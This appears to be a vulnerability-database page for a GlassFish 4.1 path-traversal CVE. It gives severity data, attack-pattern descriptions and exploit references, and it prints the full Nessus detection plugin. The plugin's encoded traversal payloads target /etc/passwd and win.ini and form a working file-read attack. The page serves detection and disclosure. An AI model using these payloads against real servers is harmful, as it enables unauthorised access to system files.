Vulnerabilities > CVE-2017-1000028 - Path Traversal vulnerability in Oracle Glassfish Server 4.1

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
HIGH
Integrity impact
NONE
Availability impact
NONE
network
low complexity
oracle
CWE-22
nessus
exploit available
metasploit

Summary

Oracle, GlassFish Server Open Source Edition 4.1 is vulnerable to both authenticated and unauthenticated Directory Traversal vulnerability, that can be exploited by issuing a specially crafted HTTP GET request.

Vulnerable Configurations

Part Description Count
Application
Oracle
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

  • descriptionOracle GlassFish Server Open Source Edition 4.1 - Path Traversal (Metasploit). CVE-2017-1000028. Webapps exploit for Windows platform. Tags: Metasploit Frame...
    fileexploits/windows/webapps/45196.rb
    idEDB-ID:45196
    last seen2018-08-14
    modified2018-08-14
    platformwindows
    port4848
    published2018-08-14
    reporterExploit-DB
    sourcehttps://www.exploit-db.com/download/45196/
    titleOracle GlassFish Server Open Source Edition 4.1 - Path Traversal (Metasploit)
    typewebapps
  • fileexploits/linux/webapps/45198.rb
    idEDB-ID:45198
    last seen2018-11-30
    modified2018-08-14
    platformlinux
    port
    published2018-08-14
    reporterExploit-DB
    sourcehttps://www.exploit-db.com/download/45198
    titleOracle Glassfish OSE 4.1 - Path Traversal (Metasploit)
    typewebapps

Metasploit

descriptionThis module exploits an unauthenticated directory traversal vulnerability which exists in administration console of Oracle GlassFish Server 4.1, which is listening by default on port 4848/TCP.
idMSF:AUXILIARY/SCANNER/HTTP/GLASSFISH_TRAVERSAL
last seen2020-06-01
modified2018-10-22
published2018-07-31
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/scanner/http/glassfish_traversal.rb
titlePath Traversal in Oracle GlassFish Server Open Source Edition

Nessus

NASL familyCGI abuses
NASL idGLASSFISH4_REMOTE_FILE_DISCLOSURE.NASL
descriptionThe instance of Oracle GlassFish Server running on the remote host is affected by an authenticated and unauthenticated path traversal vulnerability. Remote attacker can exploit this issue, via a specially crafted HTTP request, to access arbitrary files on the remote host.
last seen2020-06-01
modified2020-06-02
plugin id110192
published2018-05-30
reporterThis script is Copyright (C) 2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/110192
titleOracle GlassFish Server Path Traversal
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(110192);
  script_version("1.4");
  script_cvs_date("Date: 2018/06/14 12:21:47");

  script_cve_id("CVE-2017-1000028");
  script_xref(name:"EDB-ID", value:"39441");

  script_name(english:"Oracle GlassFish Server Path Traversal");
  script_summary(english:"Attempts to access arbitrary files.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web application server is affected by a path traversal vulnerability.");
  script_set_attribute(attribute:"description", value:
"The instance of Oracle GlassFish Server running on the remote host is
affected by an authenticated and unauthenticated path traversal vulnerability. 
Remote attacker can exploit this issue, via a specially crafted HTTP request, 
to access arbitrary files on the remote host.");
  # https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904
  script_set_attribute(attribute:"see_also",value:"http://www.nessus.org/u?159578ad");
  script_set_attribute(attribute:"solution", value:
"Contact to vendor for patch options.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:U/RC:X");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2017/07/17");
  script_set_attribute(attribute:"plugin_publication_date", value:"2018/05/30");

  script_set_attribute(attribute:"plugin_type",value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:oracle:glassfish_server");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("glassfish_console_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("www/glassfish", "www/glassfish/console");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("glassfish.inc");

##
# Combine payload string for exploitation of issue
#
# @param [file:string] target file to read from server
# @param [path:string] piece of URL that triggers vulnerable Java component
# @param [payl:array] contains encoding pattern for '.' and '/'
# @param [depth:int] depth of payloads needed
#
# @return string payload to send to the server
##
function prepare_payload(file, path, payl, depth)
{
  var i, piece, pieces_of_file;
  var url = '/theme/';

  if (empty_or_null(file) || empty_or_null(path) || 
    empty_or_null(payl) || empty_or_null(depth))
    audit(AUDIT_FN_FAIL, 'prepare_payload');

  if (depth < 2)
    audit(AUDIT_FN_FAIL, 'prepare_payload');

  url += path;

  # Generate enough encoded /.. sequences 
  for (i=0; i<depth; i++)
    url += payl['/'] + payl['.'] + payl['.'];

  # Encode / in file name
  pieces_of_file = split(file, sep:'/', keep:false);

  for (i=1; i<len(pieces_of_file); i++)
    url += payl['/'] + pieces_of_file[i];

  return url;
}

##
# Select pieces from input parameters to generate payload
#
# @param [files:string] target file to read from server
# @param [paths:string] piece of URL that triggers vulnerable Java component
# @param [payloads:array] contains encoding pattern for '.' and '/'
# @param [depth:int] depth of payloads needed 
#
# @return list of urls that we have to test
##
function gather_pieces(files, paths, payloads, depth)
{
  var file, path, payl;
  var urls_list = make_list();

  if (empty_or_null(files) || empty_or_null(paths) || 
    empty_or_null(payloads) || empty_or_null(depth))
    audit(AUDIT_FN_FAIL, 'gather_pieces');

  if (depth < 2)
    audit(AUDIT_FN_FAIL, 'gather_pieces');

  foreach file (files)
    foreach path (paths)
      foreach payl (payloads)
        urls_list[max_index(urls_list)] =
          prepare_payload(file:file, path:path, payl:payl, depth:depth);

  return urls_list;
}

#
# Main
#

# Check GlassFish & GlassFish Admin Console
get_kb_item_or_exit('www/glassfish');
get_kb_item_or_exit('www/glassfish/console');

var port = get_glassfish_console_port(default:4848);

# Parameters section
var depth = 10;
var files, paths, res, url;
var vuln, req, file;
var payloads = [{'.':'%c0%ae', '/':'%c0%af'},
  {'.':'%e0%80%ae', '/':'%c0%af'},
  {'.':'.', '/':'%e0%80%af'},
  {'.':'%f0%80%80%ae', '/':'%e0%80%af'}
];
var file_pats = {"/etc/passwd":"root:.*:0:[01]:",
  "/winnt/win.ini":"^\[[a-zA-Z\s]+\]|^; for 16-bit app support",
  "/windows/win.ini":"^\[[a-zA-Z\s]+\]|^; for 16-bit app support"
};
var os = get_kb_item('Host/OS');

# Exploitation check
if (!empty_or_null(os) && (report_paranoia < 2))
{
  if ("Windows" >< os)
  {
    files = ['/windows/win.ini', '/winnt/win.ini'];
    paths = ['META-INF', 'com/sun', 'META-INF/test'];
  }
  else
  {
    files = ['/etc/passwd'];
    paths = ['META-INF'];
  }
}
else
{
  files = ['/etc/passwd', '/windows/win.ini', '/winnt/win.ini'];
  paths = ['META-INF', 'com/sun', 'META-INF/test'];
}

foreach url (gather_pieces(files:files, paths:paths, payloads:payloads, depth:depth))
{
  res = get_glassfish_res(url:url, port:port);

  foreach file (files)
    if (egrep(pattern:file_pats[file], string:res[2]))
    {
      security_report_v4(
        port        : port,
        severity    : SECURITY_WARNING,
        extra       : 'The following HTTP request was sent:\n\n' +
          build_glassfish_url(url:url, port:port) + '\n\n' +
          'The contents of file obtained:\n\n' + chomp(res[2])
      );
      exit(0);
    }
}

audit(AUDIT_LISTEN_NOT_VULN, "GlassFish Server", port);
exit(0);

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/148892/glassfish_traversal.rb.txt
idPACKETSTORM:148892
last seen2018-08-16
published2018-08-13
reporterMishra Dhiraj
sourcehttps://packetstormsecurity.com/files/148892/Oracle-GlassFish-Server-4.1-Directory-Traversal.html
titleOracle GlassFish Server 4.1 Directory Traversal